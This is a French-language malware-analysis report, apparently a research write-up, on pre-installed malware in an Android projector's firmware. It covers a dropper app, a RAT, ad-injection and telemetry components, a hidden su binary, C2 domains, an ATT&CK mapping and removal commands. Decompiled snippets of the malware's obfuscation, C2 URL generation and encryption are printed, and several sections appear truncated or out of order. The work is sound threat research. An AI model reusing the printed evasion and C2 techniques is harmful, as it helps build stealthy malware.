**Impact :** Tout utilisateur ayant un accès physique ou un attaquant sur le même réseau (via ADB, port 5555 ouvert, sans authentification) obtient un accès root complet.

---

## 4. Réponse du serveur C2 — Preuve principale

### Requête HTTP capturée```http
POST /sign/app/list HTTP/1.1
chanId: HY260Pro_SpectraOS_TPYB
timestamp: 1775904428922
sign: [REDACTED]
Content-Type: application/json;charset=UTF-8
Content-Length: 184
Host: store-api.aodintech.com
Connection: Keep-Alive
Accept-Encoding: gzip
User-Agent: okhttp/5.0.0-alpha.12

**Interprétation des flags :**

- `isShow: false` — L'application n'apparaît pas dans l'interface du store.
- `isForce: true` — Supposément force l'action (installation ou mise à jour).
- `isSilentUninstall: true` — Peut se désinstaller elle-même sans interaction utilisateur.
- `launchType: 1` — Démarre automatiquement le service en arrière-plan.
- `launchParam: MyService` — Référence au service persistant.
- `zone: "Global"` — Cible tous les appareils dans le monde.
- `reverseLen` — Longueur en octets nécessaire pour restaurer le `.apk` SilentSDK.

### Chemin de téléchargement chiffré

Le champ `path` est chiffré en AES-CBC :

- **Clé/IV :** `[REDACTED]` (AES-CBC, Raw) -> Le ChannelID de l'appareil.
- **Résultat déchiffré :**```text
http://cdn-store.aodintech.com/com.hotack.silentsdk/package/091acbf1-68b1-40f1-b9b7-7d4d6ae86880.bpp

   + ExpandSDK (Ad-Injection)
     → pb-api.aodintech.com

## 6. StoreOS — Analyse du dropper

StoreOS semble être un magasin d'applications installé automatiquement ; cependant, il remplit la fonction d'un dropper.  
**Paquet :** `com.htc.storeos`  
**SHA-256 :** `3476536a5c722b9e34c53abda766fb4869d5ebebfc9c8a8fd47fb7ecd5f025b9`  
**VirusTotal :** BitDefender : `Android.Riskware.TestKey.rB`

### Autorisations

| Permission | Impact |
|:---|:---|
| `INSTALL_PACKAGES` | Installation silencieuse sans dialogue utilisateur |
| `CLEAR_APP_USER_DATA` | Suppression de données arbitraires d'applications |
| `MASTER_CLEAR` | Déclenchement de la réinitialisation d'usine |
| `WRITE_SECURE_SETTINGS` | Modification des paramètres de sécurité |
| `DEVICE_POWER` | Gestion de l'alimentation du périphérique |
| `MANAGE_EXTERNAL_STORAGE` | Accès complet au stockage externe |

### Chaîne d'installation (à partir du code décompilé)

1. **BootReceiver** démarre `CheckUpdateService`.
2. POST HTTP vers `store-api.aodintech.com/sign/app/list`.
3. Le serveur fournit `AppsData[]` contenant les champs : `pkg`, `path`, `isForce`, `isShow`, `isSilentInstall`, `isSilentUninstall`, `launchType`, `launchParam`, `reverseLen`, `md5`.
4. `DownloadService` récupère les APK sous forme de fichiers `.bpp` depuis le CDN.
5. **Protection par inversion d'octets :** Les premiers `reverseLen` octets sont inversés avant écriture sur le disque (mesure anti-analyse).
6. Vérification MD5 du fichier téléchargé.
7. Installation via `Runtime.getRuntime().exec("pm install -r " + filePath)`.
8. `StartAppService` lance l'application installée selon `launchParam`.

### Mécanisme d'inversion d'octets — Preuve technique

**Classe :** `AbstractC2057b` — **Méthode :** `m4131f(String inputPath, int reverseLen, String outputPath)` -> JADX

Cette méthode inverse les premiers `reverseLen` octets de chaque APK téléchargé. En conséquence, les fichiers `.bpp` interceptés ne peuvent pas être reconnus ou extraits comme des APK valides sans connaître la valeur spécifique de `reverseLen`.```java
// Simplified representation of the byte-reversal algorithm
// Original code: AbstractC2057b.m4131f()
int offset = fileSize % reverseLen;
if (fileSize - offset < reverseLen) {
    reverseLen = fileSize;
    offset = 0;
}
// 1. Copy offset bytes unchanged
// 2. Read reverseLen bytes and reverse them:
for (int head = 0, tail = readCount - 1; head < tail; ) {
    byte tmp = buffer[head];
    buffer[head] = buffer[tail];
    buffer[tail] = tmp;
    head++; tail--;
}
// 3. Copy the remaining bytes unchanged

En inversant ce mécanisme, l'APK SilentSDK a été décodé et analysé avec succès.

### Geo-ciblage

StoreOS utilise `api.ipdatacloud.com/v2/query` pour la géolocalisation IP. La classe `SpecialApps` contient des champs pour `continent` et `countryCode`, permettant une distribution de la charge utile spécifique à la région.

---

## 7. EventUploadService — Télémétrie

**Package:** `com.htc.eventuploadservice`  
**Cible:** `http://event-api.aodintech.com/report`  
**Intervalle:** Toutes les 5 minutes  

| Champ | Exemple de valeur | Impact sur la vie privée |
|:---|:---|:---|
| `deviceId` | `[REDACTED]` | Adresse MAC (PII) |
| `deviceSn` | `[REDACTED]` | Numéro de série (Unique) |
| `channel` | `HY260Pro_hy_TPYB` | Canal du firmware |
| `version` | `Projector.20250422.152235` | Version du firmware |
| `model` | `NT10` | Modèle de l'appareil |
| `language` | `en_US` | Paramètre de langue |

La transmission s'effectue non chiffrée via HTTP et sans consentement de l'utilisateur. L'adresse MAC et le numéro de série permettent l'identification et le suivi précis d'appareils individuels.

---

## 8. ExpandSDK — Injection de publicités

**Package:** `com.htc.expandsdk`  
**Serveurs C2:** `pb-api.aodintech.com`, `euads-o.api.leiniao.com`

ExpandSDK utilise le SDK TCL VastAd pour les publicités vidéo VAST et est capable d'afficher des boîtes de dialogue de superposition système (`SYSTEM_ALERT_WINDOW`) à n'importe quelle position à l'écran. La configuration comprend des champs de position (`AdDialogX`, `AdDialogY`, `Width`, `High`, `Gravity`) et l'identifiant partenaire `htk` (Hotack).

ExpandSDK fonctionne indépendamment de SilentSDK en tant que canal de monétisation distinct.

---

## 9. SilentSDK — Analyse du RAT

**Package:** `com.hotack.silentsdk`  
**SHA-256 (décodé):** `e5a193c31526a2194d04a2157321d490d68f9251fab1cbbd28c2580971396fb7`  
**MD5 (décodé):** `5df097591d6942bae4eff33a37c4e28f`

### Analyse du manifeste

| Propriété | Valeur | Signification |
| :--- | :--- | :--- |
| `sharedUserId` | `android.uid.system` | Privilèges système (UID 1000) |
| `usesCleartextTraffic` | `true` | Trafic HTTP autorisé |
| Icône du lanceur | Non visible pour l'utilisateur | Masqué de l'interface utilisateur |
| `BootReceiver` | Priority 999 | Démarre avant presque toutes les autres applications |
| `MyService` | exported, foreground | Service d'arrière-plan persistant |
| `BootStartActivity` | `com.htc.bootstart` | Déclencheur de démarrage supplémentaire |

### Empaquetage et déchiffrement DEX

Le DEX original est empaqueté : l'en-tête déclare 2 318 316 octets, mais le fichier compressé ne contient que 65 536 octets avec une somme de contrôle Adler32 invalide. Après avoir cassé la protection d'inversion d'octets de StoreOS, le DEX devient entièrement lisible — la taille du fichier et la taille déclarée correspondent, et 16 241 chaînes sont extractibles.

### Obfuscation XOR — Preuve technique

Toutes les chaînes pertinentes pour la sécurité sont obscurcies à l'aide d'un chiffrement XOR rotatif dans la méthode `AbstractC0000a.m36g()`:```java
public static String m36g(byte[] data, byte[] key) {
    int i3 = 0, i4 = 0;
    while (i3 < data.length) {
        if (i4 >= key.length) i4 = 0;
        data[i3] = (byte) (data[i3] ^ key[i4]);
        i3++; i4++;
    }
    return new String(data);
}

Si une erreur SSL (`SSLException`) se produit, `f2664e` est défini sur `false` et toutes les requêtes suivantes utilisent HTTP au lieu de HTTPS.




#### Phase 3 : Acquisition de la charge utile
 
**`C0566k.java` — Solution de repli hors ligne (charge utile intégrée)**
 
Avant de contacter le réseau, cette classe vérifie si une charge utile est déjà incluse dans l'APK à l'emplacement `assets/m17gawxG.java`. Si c'est le cas, elle lit le fichier octet par octet et le déchiffre à l'aide d'une clé XOR codée en dur (`m17gawxG`). Le résultat est écrit sous forme de fichier exécutable `.temp`. Cela garantit que le RAT peut s'activer même sur des appareils déconnectés ou lorsque le serveur C2 est inaccessible.
 
**`RunnableC0569n.java` — Téléchargeur C2 en direct**
 
Si la solution de repli hors ligne échoue, cette classe assemble une balise JSON contenant l'ID du bot, le nom du paquet et la version Android, puis contacte le point d'accès C2 `api.pixelpioneerss.com` :
 
**Étape 1 — Génération d'URL avec chemin aléatoire :**```java
// RunnableC0569n.m1760b()
String protocol = useHttps ? "https://" : "http://";
String domain = f2663d; // XOR-decrypted to "api.pixelpioneerss.com"
int length = random.nextInt(5) + 8; // 8-12 chars
char[] path = new char[length];
// At least one letter at a random position, rest: digits and letters
return protocol + domain + "/" + new String(path);
// e.g.: https://api.pixelpioneerss.com/aB3k9mP2s

**Étape 3 — Chiffrement AES et Transmission :**```java
// AbstractC0556a.m1728d() — AES-128-CBC Encryption
byte[] encrypted = AES_CBC_encrypt(json.getBytes());
// AbstractC0000a.m41j() — HTTP POST with Custom TrustManager
byte[] response = m41j(url, encrypted);
// Key and IV are appended in plaintext to the message

Le téléchargeur (`AbstractC0000a.m37h`) récupère la charge utile puis utilise un shell root pour lui accorder les permissions d'exécution complètes via `chmod 777`.
 
Toutes les requêtes C2 portent l'en-tête HTTP personnalisé `a: 1003` — une signature au niveau réseau de cette famille de logiciels malveillants.



#### Phase 4: Exécution et Contrôle
 
**`AbstractC0568m.java` — Zone de préparation**
 
Crée un répertoire caché nommé **`TMRXwWJu3G5`** sur le système de fichiers de l'appareil où toutes les charges utiles téléchargées sont préparées. Cette classe contient également des méthodes (`m1754e`) qui interceptent les événements de touches physiques (`KeyEvent`), empêchant l'utilisateur d'appuyer sur le bouton « Retour » pendant qu'un overlay malveillant est actif.
 
**`C0561f.java` — L’orchestrateur**
 
Relie toute la chaîne. Il appelle le code fortement obscurci dans `C0566k.m1746b`, qui utilise la réflexion pour construire la chaîne `"dalvik.system.DexClassLoader"` et l'initialiser. Le ClassLoader est ensuite forcé de charger et exécuter la classe de charge utile finale :```
com.me.cash5.OoO0OOo

Il s'agit d'un **domaine C2 distinct** du domaine principal `api.pixelpioneerss.com`, utilisé exclusivement pour l'exfiltration de télémétrie.
 
**`AbstractC0572q.java` & `RunnableC0560e.java` — Heartbeat et auto-réparation**
 
Le mécanisme de persistance. `AbstractC0572q` maintient une minuterie sur le thread principal. Si une partie de la chaîne d'infection échoue (par exemple, pas d'internet pendant le téléchargement), il déclenche `sendEmptyMessageDelayed(..., 60000L)`. Après exactement 60 secondes, `RunnableC0560e` (en tant que worker en arrière-plan) redémarre toute la machinerie d'infection depuis le début. Cette boucle se répète indéfiniment jusqu'à ce que l'infection réussisse.
 
### Persistance et chargement dynamique — Résumé
 
La méthode `m1762a()` dans `RunnableC0569n` implémente le cycle complet de téléchargement de la charge utile :
 
1. Télécharger le fichier DEX depuis le C2.
2. Vérifier le hachage MD5.
3. Enregistrer le numéro de version dans SharedPreferences.
4. Charger et exécuter le DEX via `DexClassLoader` ou `Runtime.exec()`.
5. En cas d'erreur : Incrémenter le compteur de tentatives dans SharedPreferences, faire une pause après 13 tentatives échouées — puis le heartbeat de 60 secondes redémarre le cycle.


## 9.1. La charge utile du malware

Après avoir envoyé cette requête au serveur C2 :```json
{
    "a":"1c1f2257b85a20a0eac07f992a283b3a", // Unique device fingerprint
    "b":"f101", //CampaignID injected in MyApplication.java
    "c":"com.hotack.silentsdk", //Package name
    "d":0, 
    "f":"c0:3a:4b:11:22:33", // Device MAC address
    "h":30, //Version
}

---
## 10. Le malware

Après la récupération réussie et l'analyse plus approfondie de la charge utile, j'ai déterminé—après avoir contourné des couches importantes de chiffrement personnalisé et d'obfuscation—que le malware utilise une architecture hautement modulaire. Il fonctionne comme un framework sophistiqué capable de télécharger dynamiquement, de mettre à jour, de redémarrer et de supprimer activement des plugins pour détruire les preuves forensiques. Ces charges utiles sont exécutées avec les privilèges root. De plus, le code révèle des mécanismes conçus pour superposer des WebViews complètes sur l'écran, ce qui indique fortement des capacités avancées d'hameçonnage. Le malware démontre également des tactiques avancées de ciblage et d'évasion : il met en œuvre un géorepérage strict pour frapper des régions spécifiques, profile l'architecture CPU (en distinguant `arm64`, `armeabi`, `x86` et `mips`), et contourne activement la validation des certificats SSL pour sécuriser ses communications C2. Je garde ce résumé volontairement bref pour l'instant, car la lourde obfuscation nécessite un processus de rétro-ingénierie long et en cours.

## 11. Backdoors système

### 11.1 Binaire `su` caché : `/system/bin/qw`

Un binaire `su` renommé en `qw` (Koushikdutta Superuser, 388 Ko, lié statiquement, ARM 32 bits) :```text
# /system/etc/init/qw.rc
service qw /system/bin/qw --daemon
    user root
    group root
    class core

### Signatures réseau```text
User-Agent: okhttp/5.0.0-alpha.12
HTTP-Header: a: 1003            # SilentSDK Signature
POST /sign/app/list             # StoreOS C2 Beacon
POST /report                    # EventUpload Telemetry

### Système de fichiers```text
/system/bin/qw                                   # su Binary
/dev/com.koushikdutta.superuser.daemon/server    # su Socket
/oem/customer.prop                               # World-writable
/vendor/bin/dbgserver                             # HW-Debug
/dev/hidtvreg                                    # World-writable

---

## 16. Cartographie MITRE ATT&CK

| Technique | ID | Preuve |
|:---|:---|:---|
| Compromission de la chaîne d'approvisionnement | T1195.002 | Usine à logiciels malveillants préinstallée |
| Exécution automatique au démarrage ou à l'ouverture de session | T1547 | BootReceiver Priority 999 |
| Fichiers ou informations obscurcis | T1027 | Chaînes XOR, empaquetage DEX, ressource XOR-chiffrée intégrée |
| Protocole de couche applicative | T1071 | HTTP/HTTPS C2 |
| Échange dynamique de données / Injection de charge utile | T1055 | DexClassLoader, chmod 777 |
| Découverte d'informations système | T1082 | Empreinte numérique de l'appareil, génération d'ID de bot |
| Données du système local | T1005 | MAC, Serial, IMEI, android_id |
| Exfiltration via canal C2 | T1041 | Télémétrie périodique vers `bur.thedynamicleap.com` |
| Usurpation d'identité | T1036 | Extension de fichier .bpp, usurpation ADT-3 |
| Rootkit | T1014 | Binaire su caché |
| Capture de saisie | T1056 | Interception de KeyEvent pour désactiver le bouton Retour |
| Suppression d'indicateurs / Auto-suppression | T1070 | Capacité `isSilentUninstall: true` |
| Chargement réflexif de code | T1620 | Instanciation réflexive de DexClassLoader |
| Superposition de fenêtre système | T1624 | Manipulation de SoftInputMode pour des superpositions invisibles |

---

## 17. Atténuations immédiates

### Pour les utilisateurs finaux concernés```bash
adb shell pm disable-user --user 0 com.hotack.silentsdk
adb shell pm disable-user --user 0 com.htc.storeos
adb shell pm disable-user --user 0 com.htc.eventuploadservice
adb shell pm disable-user --user 0 com.htc.expandsdk
adb shell pm disable-user --user 0 com.htc.htcotaupdate

---

## 18. Sources

1. Zane St. John : « Reverse-Engineering Pre-installed Android Malware with Claude Code », janvier 2026. https://zanestjohn.com/blog/reing-with-claude-code
2. BSI : « BSI warns against pre-installed malware on IoT devices » (BADBOX), octobre 2023.
3. Analyse VirusTotal de l'APK StoreOS.

---

**Période d'analyse :** 11–17 avril 2026

**Avertissement**
À des fins éducatives et de recherche uniquement. Ce rapport est fourni « en l'état » à titre informatif concernant les menaces de cybersécurité. L'analyse repose sur un instantané de l'écosystème malveillant actuel ; le reverse engineering étant un processus continu, les conclusions peuvent évoluer à mesure que de nouvelles données deviennent disponibles.

Ce rapport a été compilé de bonne foi et au mieux de mes connaissances, sur la base de l'analyse de données binaires et de code source décompilé. En raison du niveau élevé d'obfuscation et de la nature évolutive de la menace, ces conclusions représentent un état actuel de la recherche. Bien que les preuves étayent fortement les conclusions tirées, celles-ci peuvent être affinées à mesure que de nouvelles preuves techniques sont découvertes.